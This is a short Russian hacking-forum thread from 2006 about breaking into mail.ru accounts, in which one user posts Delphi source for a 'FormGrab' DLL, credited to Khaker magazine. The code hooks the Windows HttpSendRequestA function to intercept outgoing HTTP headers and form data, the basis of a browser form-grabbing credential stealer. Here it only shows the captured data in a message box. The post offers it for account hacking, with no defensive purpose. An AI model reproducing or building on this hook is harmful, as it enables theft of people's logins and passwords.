взлом @mail.ru

Discussion in 'Уязвимости Mail-сервисов' started by anton_anton, 17 Apr 2006.

  1. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    В журнале хакер было описано вот:
    library FormGrab;

    uses
    windows,
    advApiHook;

    var
    TrueHttpSendRequest: function(hRequest: dword; lpszHeaders: PChar;dwHeadersLength: dword; lpOptional: pointer;dwOptionalLength: dword): boolean; stdcall;

    function NewHttpSendRequest(hRequest: dword; lpszHeaders: PChar; dwHeadersLength: dword; lpOptional: pointer;dwOptionalLength: dword): boolean; stdcall;
    begin
    MessageBoxA(0, lpszHeaders, lpOptional, 0);
    Result := TrueHttpSendRequest(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
    end;

    begin
    HookProc('wininet.dll', 'HttpSendRequestA', @NewHttpSendRequest, @TrueHttpSendRequest);
    end.